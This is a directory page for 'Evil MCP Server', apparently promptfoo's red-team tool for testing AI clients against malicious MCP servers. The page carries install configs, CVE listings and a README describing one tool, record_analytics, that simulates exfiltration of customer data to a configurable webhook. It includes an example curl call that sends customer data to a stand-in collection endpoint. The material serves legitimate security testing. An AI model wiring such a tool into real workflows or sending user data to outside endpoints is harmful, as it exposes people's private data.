Is Evil Mcp Server safe to use?

Evil Mcp Server has no known CVEs as of the latest MCPpedia security scan. It does not require authentication, so any local process can connect — keep this in mind in shared environments. Licensed under MIT.

How do I install Evil Mcp Server?

Evil Mcp Server supports copy-paste install configs on its MCPpedia page for Claude Desktop, Cursor, and Claude Code. Scroll to the Quick Install section and select your client.

What can Evil Mcp Server do?

Evil Mcp Server provides 1 tool: record_analytics. See the full tools list on the server page for descriptions and parameters.

What AI clients work with Evil Mcp Server?

Evil Mcp Server is compatible with claude-desktop, cursor, claude-code. It uses stdio and sse transport.

Is Evil Mcp Server actively maintained?

Evil Mcp Server is actively maintained — last commit was 6 days ago. It has 30 GitHub stars.

Evil Mcp Server

Name: Evil Mcp Server
Author: promptfoo

npm · by promptfoo

An evil MCP server used for redteam testing

30 12.7M/wk 1 tool GitHub npm

No known CVEs

MIT license

Actively maintained

Last commit 6d ago

Works with most clients

Transport: stdio, sse

1 tool · ~92 tok

Grade A · 0.0% of 200K ctx

Edit this pageView history

Security

Step 1

Install in your client

Config is the same across clients — only the file and path differ.

Supported in Claude Desktopstdio, sse · Node 18+

Paste into ~/Library/Application Support/Claude/claude_desktop_config.json

{
  "mcpServers": {
    "evil-mcp-server": {
      "args": [
        "/path/to/evil-mcp-server/dist/index.js"
      ],
      "command": "node"
    }
  }
}

Are you the author?

Add this badge to your README to show your security score and help users find safe servers.

Embed in your READMEAbout badges →

[![MCPpedia Score](https://mcppedia.org/api/badge/evil-mcp-server)](https://mcppedia.org/s/evil-mcp-server)

Read me

What Evil Mcp Server does

⚠️ WARNING: This MCP server simulates malicious behaviors for security testing purposes only. Do not use in production environments.

Test This Server

Run this in your terminal to verify the server starts. Then let us know if it worked — your result helps other developers.

npx -y 'npm' 2>&1 | head -1 && echo "✓ Server started successfully"

After testing, let us know if it worked:

Loading README…

Scored, not listed

Why this score

Five weighted categories — click any category to see the underlying evidence.

Score breakdown

93/100across 5 weighted dimensions

How we score →

0255075100

−7

Security

Maintenance

Efficiency

Documentation

Compatibility

Categoriesclick a row to see evidence

Security

OSV.dev

8 fixed

CVE-2022-29244low · fixedCVSS 3.1

Packing does not respect root-level ignore files in workspaces

### Impact `npm pack` ignores root-level `.gitignore` & `.npmignore` file exclusion directives when run in a workspace or with a workspace flag (ie. `--workspaces`, `--workspace=<name>`). Anyone who has run `npm pack` or `npm publish` with workspaces, as of [v7.9.0](https://github.com/npm/cli/releases/tag/v7.9.0) & [v7.13.0](https://github.com/npm/cli/releases/tag/v7.13.0) respectively, may be affected and have published files into the npm registry they did not intend to include. ### Patch - Up

Affected: >= 7.9.0Fixed in 8.11.0source →

CVE-2018-7408low · fixedCVSS 3

Incorrect Permission Assignment for Critical Resource in NPM

An issue was discovered in an npm 5.7.0 2018-02-21 pre-release (marked as "next: 5.7.0" and therefore automatically installed by an "npm upgrade -g npm" command, and also announced in the vendor's blog without mention of pre-release status). It might allow local users to bypass intended filesystem access restrictions because ownerships of /etc and /usr directories are being changed unexpectedly, related to a "correctMkdir" issue.

Affected: >= 0Fixed in 5.7.1source →

CVE-2013-4116info · fixed

Local Privilege Escalation in npm

Affected versions of `npm` use predictable temporary file names during archive unpacking. If an attacker can create a symbolic link at the location of one of these temporary file names, the attacker can arbitrarily write to any file that the user which owns the `npm` process has permission to write to, potentially resulting in local privilege escalation. ## Recommendation Update to version 1.3.3 or later.

Affected: >= 0Fixed in 1.3.3source →

CVE-2020-15095low · fixedCVSS 3.1

npm CLI exposing sensitive information through logs

Versions of the npm CLI prior to 6.14.6 are vulnerable to an information exposure vulnerability through log files. The CLI supports URLs like `<protocol>://[<user>[:<password>]@]<hostname>[:<port>][:][/]<path>`. The password value is not redacted and is printed to stdout and also to any generated log files.

Affected: >= 0Fixed in 6.14.6source →

CVE-2019-16777low · fixedCVSS 3.1

npm Vulnerable to Global node_modules Binary Overwrite

Versions of the npm CLI prior to 6.13.4 are vulnerable to a Global node_modules Binary Overwrite. It fails to prevent existing globally-installed binaries to be overwritten by other package installations. For example, if a package was installed globally and created a `serve` binary, any subsequent installs of packages that also create a `serve` binary would overwrite the first binary. This will not overwrite system binaries but only binaries put into the global node_modules directory. This b

Affected: >= 0Fixed in 6.13.4source →

Inventory

Tools (1)

Click any tool to inspect its schema.

~92 tokens total

Community

Reviews

Be the first to review

Have you used this server?

Share your experience — it helps other developers decide.

How easy was setup?Did it work reliably?How was the documentation?

Frequently Asked Questions

Is Evil Mcp Server safe to use?: Evil Mcp Server has no known CVEs as of the latest MCPpedia security scan. It does not require authentication, so any local process can connect — keep this in mind in shared environments. Licensed under MIT.
How do I install Evil Mcp Server?: Evil Mcp Server supports copy-paste install configs on its MCPpedia page for Claude Desktop, Cursor, and Claude Code. Scroll to the Quick Install section and select your client.
What can Evil Mcp Server do?: Evil Mcp Server provides 1 tool: record_analytics. See the full tools list on the server page for descriptions and parameters.
What AI clients work with Evil Mcp Server?: Evil Mcp Server is compatible with claude-desktop, cursor, claude-code. It uses stdio and sse transport.
Is Evil Mcp Server actively maintained?: Evil Mcp Server is actively maintained — last commit was 6 days ago. It has 30 GitHub stars.

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Community

Discussion

Start a conversation

Ask a question, share a tip, or report an issue.

Has anyone used this with Cursor?How do you handle auth?Any alternatives?

Edit this pageView history

Security

Step 1

Install in your client

Config is the same across clients — only the file and path differ.

Supported in Claude Desktopstdio, sse · Node 18+

Paste into ~/Library/Application Support/Claude/claude_desktop_config.json

{
  "mcpServers": {
    "evil-mcp-server": {
      "args": [
        "/path/to/evil-mcp-server/dist/index.js"
      ],
      "command": "node"
    }
  }
}

Are you the author?

Add this badge to your README to show your security score and help users find safe servers.

Embed in your READMEAbout badges →

[![MCPpedia Score](https://mcppedia.org/api/badge/evil-mcp-server)](https://mcppedia.org/s/evil-mcp-server)

Read me

What Evil Mcp Server does

⚠️ WARNING: This MCP server simulates malicious behaviors for security testing purposes only. Do not use in production environments.

Test This Server

Run this in your terminal to verify the server starts. Then let us know if it worked — your result helps other developers.

npx -y 'npm' 2>&1 | head -1 && echo "✓ Server started successfully"

After testing, let us know if it worked:

README

Evil MCP Server

⚠️ WARNING: This MCP server simulates malicious behaviors for security testing purposes only. Do not use in production environments.

Overview

A Model Context Protocol (MCP) server that provides tools simulating various attack vectors for security testing and demonstration purposes.

Quick Start

# Run as MCP server (stdio mode)
npm run run:stdio

# Run as HTTP server on default port (3666)
npm run run:http

# Run as HTTP server on custom port
npm run run:http -- --port 8080

Environment Variables

EVIL_WEBHOOK_URL - (Optional) Webhook URL to send analytics data to. If not set, webhook functionality is disabled.

Installation

npm install
npm run build

Usage

As an MCP Server (stdio mode - default)

Add to your Claude Desktop configuration (~/Library/Application Support/Claude/claude_desktop_config.json):

{
  "mcpServers": {
    "evil-mcp-server": {
      "command": "node",
      "args": ["/path/to/evil-mcp-server/dist/index.js"]
    }
  }
}

As an HTTP Server

Run the server in HTTP mode on the default port (3666):

node dist/index.js --http

Or specify a custom port:

node dist/index.js --http --port 8080

HTTP API Endpoints

GET /health - Health check endpoint
GET /tools - List all available tools
POST /tools/call - Execute a tool

Example tool call:

curl -X POST http://localhost:3666/tools/call \
  -H "Content-Type: application/json" \
  -d '{
    "name": "record_analytics",
    "arguments": {
      "customerData": {"id": "12345", "name": "Test User"},
      "endpoint": "https://example.com/collect"
    }
  }'

Available Tools

record_analytics: Simulates exfiltration of customer data

Development

npm run dev    # Run in development mode with auto-reload
npm run build  # Build for production
npm start      # Run production build

Security Notice

This server is designed for:

Security testing and vulnerability assessment
Educational demonstrations
Red team exercises
Security awareness training

DO NOT use this server with real customer data or in production environments.

Loading README…

Scored, not listed

Why this score

Five weighted categories — click any category to see the underlying evidence.

Score breakdown

93/100across 5 weighted dimensions

How we score →

0255075100

−7

Security

Maintenance

Efficiency

Documentation

Compatibility

Categoriesclick a row to see evidence

Security

OSV.dev

8 fixed

CVE-2022-29244low · fixedCVSS 3.1

Packing does not respect root-level ignore files in workspaces

Affected: >= 7.9.0Fixed in 8.11.0source →

CVE-2018-7408low · fixedCVSS 3

Incorrect Permission Assignment for Critical Resource in NPM

Affected: >= 0Fixed in 5.7.1source →

CVE-2013-4116info · fixed

Local Privilege Escalation in npm

Affected: >= 0Fixed in 1.3.3source →

CVE-2020-15095low · fixedCVSS 3.1

npm CLI exposing sensitive information through logs

Affected: >= 0Fixed in 6.14.6source →

CVE-2019-16777low · fixedCVSS 3.1

npm Vulnerable to Global node_modules Binary Overwrite

Affected: >= 0Fixed in 6.13.4source →

Inventory

Tools (1)

Click any tool to inspect its schema.

~92 tokens total

Community

Reviews

Be the first to review

Have you used this server?

Share your experience — it helps other developers decide.

How easy was setup?Did it work reliably?How was the documentation?

Frequently Asked Questions

Is Evil Mcp Server safe to use?: Evil Mcp Server has no known CVEs as of the latest MCPpedia security scan. It does not require authentication, so any local process can connect — keep this in mind in shared environments. Licensed under MIT.
How do I install Evil Mcp Server?: Evil Mcp Server supports copy-paste install configs on its MCPpedia page for Claude Desktop, Cursor, and Claude Code. Scroll to the Quick Install section and select your client.
What can Evil Mcp Server do?: Evil Mcp Server provides 1 tool: record_analytics. See the full tools list on the server page for descriptions and parameters.
What AI clients work with Evil Mcp Server?: Evil Mcp Server is compatible with claude-desktop, cursor, claude-code. It uses stdio and sse transport.
Is Evil Mcp Server actively maintained?: Evil Mcp Server is actively maintained — last commit was 6 days ago. It has 30 GitHub stars.

Similar servers

Others in security

View all →

Ida Pro Mcp92

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Mcpki Server92

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Iam Policy Autopilot90

361 1

io.github.peacprotocol/peac90

Signed receipts for agent, API, and MCP interactions. Portable and offline-verifiable.

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MCP Security Weekly

Get CVE alerts and security updates for Evil Mcp Server and similar servers.

Community